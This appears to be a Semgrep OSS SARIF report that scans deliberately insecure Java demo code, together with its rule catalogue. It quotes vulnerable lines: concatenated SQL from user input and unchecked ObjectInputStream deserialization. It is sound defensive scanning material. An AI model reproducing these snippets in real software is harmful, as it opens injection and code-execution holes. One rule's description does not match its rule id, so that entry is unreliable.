+{"version":"2.1.0","runs":[{"invocations":[{"executionSuccessful":true,"toolExecutionNotifications":[]}],"results":[{"fingerprints":{"matchBasedId/v1":"4244fdd84a688a067fc9a1c3dcd7ca0aa221fe49a3037e666c785fabe52457b8701724b7795c5314d479f32fd5362029e505138e056e3d5f6acce978ddb3ab9d_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"catapp/controllers/CatPictureController.java","uriBaseId":"%SRCROOT%"},"region":{"endColumn":80,"endLine":25,"snippet":{"text":"        String query = \"SELECT * FROM cat_pictures WHERE name = '\" + name + \"'\";"},"startColumn":24,"startLine":25}}}],"message":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"properties":{},"ruleId":"java.spring.security.injection.tainted-sql-string.tainted-sql-string"},{"fingerprints":{"matchBasedId/v1":"59f7d118db27968301ef438d0a8d6f7428593b27e252833306d8992ae7cb8f8136505f4d04b98df59eaf5a2c0999ec9131309793a12ebaf606ba6a89d966ed64_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"insecurejava/UnsafeDeserializationController.java","uriBaseId":"%SRCROOT%"},"region":{"endColumn":91,"endLine":16,"snippet":{"text":"            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));"},"startColumn":13,"startLine":16}}}],"message":{"text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"properties":{},"ruleId":"java.lang.security.audit.object-deserialization.object-deserialization"},{"fingerprints":{"matchBasedId/v1":"ac430243303b1787c1cad35113ff2b91fb77eaa0082a3cbba6add122a943dc2c2520fb41de86309416ff5fdd639b77ceb58c530955b69f5264f362ba2188612e_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"insecurejava/UnsafeDeserializationController.java","uriBaseId":"%SRCROOT%"},"region":{"endColumn":89,"endLine":16,"snippet":{"text":"            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));"},"startColumn":59,"startLine":16}}}],"message":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"properties":{},"ruleId":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring"},{"fingerprints":{"matchBasedId/v1":"8e4cfe18e3827129d35e37088aa12a5dc34e42f3c900ec94b375add3d92e77b37f1e38790ca7d393ed7f7a40bc97ad9c0a31af24730ce754f35144a303882d46_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"insecurejava/UnsafeDeserializationController.java","uriBaseId":"%SRCROOT%"},"region":{"endColumn":32,"endLine":20,"snippet":{"text":"            e.printStackTrace();"},"startColumn":13,"startLine":20}}}],"message":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"properties":{},"ruleId":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace"}],"tool":{"driver":{"name":"Semgrep OSS","rules":[{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","id":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","name":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"help":{"markdown":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf","id":"csharp.lang.security.ssrf.web-request.ssrf","name":"csharp.lang.security.ssrf.web-request.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-request.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","id":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","name":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py](https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","id":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","name":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","id":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","name":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"help":{"markdown":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)\n - [https://www.youtube.com/watch?v=CIhHpkybYsY](https://www.youtube.com/watch?v=CIhHpkybYsY)\n - [https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf](https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf)\n","text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal","id":"generic.nginx.security.alias-path-traversal.alias-path-traversal","name":"generic.nginx.security.alias-path-traversal.alias-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.alias-path-traversal.alias-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"help":{"markdown":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth)\n - [https://cwe.mitre.org/data/definitions/477.html](https://cwe.mitre.org/data/definitions/477.html)\n","text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"helpUri":"https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth","id":"python.pymongo.security.mongodb.mongo-client-bad-auth","name":"python.pymongo.security.mongodb.mongo-client-bad-auth","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.security.mongodb.mongo-client-bad-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"help":{"markdown":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","id":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","name":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","id":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","name":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"help":{"markdown":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead.\n\n<b>References:</b>\n - [Semgrep 